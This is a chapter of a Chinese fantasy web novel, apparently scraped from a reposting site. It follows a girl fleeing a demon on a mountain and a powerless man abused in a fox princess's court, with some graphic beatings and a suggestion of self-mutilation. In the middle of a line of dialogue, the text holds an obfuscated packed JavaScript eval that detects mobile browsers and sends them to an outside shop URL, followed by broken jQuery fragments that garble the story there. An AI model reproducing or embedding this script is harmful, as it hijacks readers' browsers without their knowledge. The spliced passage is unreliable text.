文趣网 > 其他小说 > 失手救赎反派后 > 15. 入境(三)
    稍作休整之后,青烛开始思考接下来的对策。

    试炼时间就快过半,但她除了觉得体力耗尽之外,根本没有感受到什么特殊的,更别说入境了。

    很明显,还没结束。

    趁着天明,得赶紧往外走些。

    不知道当初猴王说的“走出去”该如何实现,但根据湖背面的结界术来看,这里很有可能是一块被人为圈划的地界,出口说不定只有一个。

    没一会儿就走到一处岔路,左边是下坡,右边是上坡。

    青烛本能想往左走,手中的夜明珠却忽然亮了起来,在右侧的路上投射出明显的光点。

    她犹豫片刻,往右走。

    没记错的话,当初她上山去找那个“村庄”时,就已经带着小禾走到半山腰了,如果再往上的话,估计要到山顶去。

    青烛走着上坡,嘴巴里的血腥味越来越重。

    青烛现在缺了颗门牙,张嘴呼吸间有点漏风,若是闭着嘴吧,没过几分钟就酝酿出一口血水,得张嘴吐掉。

    她一直用袖子擦着挂到嘴边的血迹,心中涌现出一个想法。

    当初小禾说,她是被自己的灵力吸引过来的,又说灵气香,忍不住舔了舔她的伤口。

    那次小禾可是一点事都没有啊,蜘蛛妖却怕她的血。难道说,她的血还能有有什么特殊用途?

    如果血里有灵气的话……她不就是已经能运化一点灵气了吗?

    所以她流血,也许就是释放灵压的一种。

    既然如此,那么蜘蛛精对她血液的恐惧,好像就说得通了。

    青烛愣在原地头脑风暴,似乎发现了什么巨大的bug。

    她摸了摸原本那颗门牙的位置,在指尖抹上血迹,心中默念法诀。

    指尖的血渍逐渐聚拢,汇成血滴漂浮到半空。

    青烛欣喜无比,但仍旧稳着性子催动法诀,试图反向收回灵气。

    不过半瞬,那血滴就掉落在地。

    ……看来她现在能主动释放灵,却还是没能能到与祂“和谐共处”的地步。

    体内的都尚且如此,溢散在周身的那些就更不必说了。

    抬眼一看,陡坡之上是层层叠叠的云雾。峭壁有松柏横生,怎么看都不像是个邪性的地方。青烛举眉鼓励自己两下,迈开大步朝前走去。

    越往上天色越亮,她却有些呼吸不畅。想了想估计也过了快半个小时,青烛走到最近处的石头边上,把腿架上去锤了几下小腿肚,又挎起包袱接着上路。

    云卷云舒,山间羊肠小道上,仅有她一粒身影。

    又走了十来分钟,走神间,突然发现不对。

    边上那块石头,刚刚不是才见过吗,不会记错啊。

    她决定换条路走。

    转了一圈,终于找到另一条小道,抹了把汗。

    没走几步,却再次发现了那块石头。

    不是吧,又来这招。

    难道这也是试炼的一环吗?

    可这样也太严酷了些吧……她都已经把人得罪的不能再得罪了。

    青烛心凉半截,赶紧窜入另一片林子,扭身间果然瞥见一个熟悉的身影,便再也顾不得其他,拼命地跑。

    林子里到处都是高大的树木,一丛一丛的树荫和突出地面的根系交叠,密密麻麻望不见尽头。

    青烛在一棵又一棵树之间横冲直撞,心里祈祷千万别摔倒千万别摔倒,结果刚念叨完,就扑通一下被树枝绊倒在地。

    她吃痛,龇牙咧嘴地捂住下巴。

    虽说人在绝境时最有可能被激发出潜能,但能不能换个绝法啊!

    一睁眼,映入眼帘的是两只翘起的耳朵遮住阳光后投在地面的阴影。

    “我见过的人多了,但实在是没见过像你这么蠢的。”

    黄梢得意地踩住青烛的头,弯下腰看了眼,皱眉,又用鞋尖挑起她的下巴,道:“张嘴。”

    青烛狠狠抬眼瞪他,那东西逆着光,叫人看不清楚脸。

    黄梢被她瞪地不舒服,蹲下来手动扒开她的嘴,哈哈大笑。

    “真是狼狈呀,门牙都摔没了。虽然不是被我亲手打掉的,有点可惜。”

    青烛终于看清楚他的脸,心酸地闭上眼睛。

    *

    季洄生又吐出一口血,觉得呼吸时胸腔处变得越来越痛了。

    咳嗽几声,钝痛感更甚。

    季洄生弯下腰,想等疼痛稍缓解些,但没谁会给他这个机会。

    女人皱眉,拿着皮鞭狠狠抽他的脊背。

    “快按呀。”

    季洄生吃痛,喷出一口血,倒在垫子上。

    她用狐尾掩住口鼻,看样子十分嫌弃。

    又看向边上的侍从:“怎么这就死了。”

    侍从捏一把汗。

    狐妖用扇子扒开季洄生的脸,吓了一跳。

    “……你们让这样的东西上来伺候,是存心要让我不快吗。”她生气地将扇子扔掉。

    侍从忙跪倒地上磕头,“小的不敢!小的不敢!这东西没有灵根,虚弱一点也是有的。但小的们只是想让殿下不被杂乱的灵压打扰,除此之外,绝无二心呀!”

    “这倒是,本殿真是许久没睡得这样好了。”狐妖舒展眉头,“像这样没有灵、毫无存在感的人,放在身边捏捏腿捶捶背,就能发挥出他最大的用途。”

    侍从谄媚:“是是是。”然后叫人将季洄生拖了下去。

    狐妖伸了个懒腰,“找到好物件,赏。”

    季洄生被拖下去之后,才被发现原来根本没有死。

    其他侍从刚才差点被殿下降罪,见他微弱地呼吸着,纷纷气不打一出来,将他拖到一边就是一顿拳打脚踢。

    季洄生脑间嗡鸣,又被人掐住脖子拎起来,迎面挨了一巴掌。他束了束舌头,朝对方啐了一口,挨了一拳被打歪了鼻梁。

    有人提醒:“殿下还没发话,别弄死了。”

    季洄生被人扔到地上,转而又被拖进牢房里,说是让他好好反省反省。

    牢房里充斥着霉味腐臭味,每天有人定时送来两餐饲料,维持生命体征。

    “殿下不喜欢你的脸。”某天,给他送餐的人放下盆,没有立即就走。

    季洄生蜷缩在角落,没有说话。

    “我这儿有雪肌丹,还有剜皮刀。你拿着刀把皮挖掉,再服用雪肌丹,三日之后就能长好。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537756|203476||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    季洄生:“……为什么?”

    “你另外半边脸长的不差,底子是有的。等你把这边脸削掉养好之后,也许还有机会。”

    “届时你上进些,争取爬上殿下的床。殿下很大方,对面首们时常豪掷千金。现在只有我能帮你一把,莫要忘记我对你的恩情。”

    季洄生笑着,“多谢。”

    那妖满意地点头,又叮嘱了几句,放下东西转身离开。

    三天之后,狐妖殿内。

    “我听说他们还抓了个小姑娘,怎么没有一起带来。”狐妖越说越生气,“是瞧不起我,故意把差的留给我吗?”

    “怎么会。”侍从忙道,“她脾气大,得让人调教好了之后再送过来。”

    狐妖打了个哈欠,没有说话。侍从在一边疯狂汗颜,这位殿下实在是太难伺候了。

    总不能直接跟殿下说那人跑了吧,如果他敢这么说,那一定是不想留着这条命了。这位殿下不过来到玄机阁十年不到的时间,就把全阁上下整治地服服帖帖有条不紊,只要是经她手的下人,没有一个说她不好的。

    旁人都说,玄机阁殿下美若天仙,脾气虽然骄纵了些,但放在一众殿下之中已经算是顶顶好相处的了。

    但她清楚地知道,殿下能一步一步爬到今天,手段一定是不容小觑的。

    因为她也是这样,像殿下一样一步一步从底层爬上来,爬到今天能站在殿下的身边做她唯一的贴身侍从。

    她和殿下是一样的,所以她很了解殿下,很了解这样的人背后都付出了哪些,又渴望着哪些。也正因如此,她才能像殿下肚子里的蛔虫一样,将她照料地妥妥帖帖,站稳脚跟。

    说到这里,侍从更加觉得,不能让其他任何人毁掉她现在拥有的一切。

    侍从阴沉着脸,想到那个让“小姑娘”逃走的兔妖。

    那东西实在太不知好歹了。

    殿下念及他舅舅的功绩,为了拉拢兔妖一族,特许他看押那个人族,他却让她给逃了。

    果然这些靠关系的东西,都是些废物。连最简单的看守的事情都做不好,还指望他做些什么?

    狐妖又笑嘻嘻地看了眼贴身侍从,亲切地塞给她一枚固气丹,“云棉,上次我没弄清楚状况就朝你发了脾气,心里过意不去,这个给你吃。”

    云棉毕恭毕敬地收下丹药,心中却是欣喜若狂。

    这固气丹顾名思义,是能巩固灵气的丹药,吃一颗胜过三十年的修为。

    云棉轻手轻脚地服侍殿下休息,心中仍想着那兔妖的事。

    其实殿下又何必对那一族这么上心呢,只不过有一只兔子有点功绩罢了,何必要如此善待他的外甥。就算殿下有其他的考量在,但把那个人交给他,难道真的就不怕他出了差错吗。

    云棉在脑海中搜寻着那只年轻兔妖的样子,冷笑一声,走出大殿。

    迎面跑来一只报信鸟,落在手中。

    【“禀殿下,那人狡猾多端,几经周折,臣幸不辱命,现已将其拿下,殿下大可放心。臣将尽快押解人犯,不日后必亲献于前殿。此行艰险,皆因殿下鸿福庇佑,方能成事。遥祝殿下凤体安康,诸事顺遂。】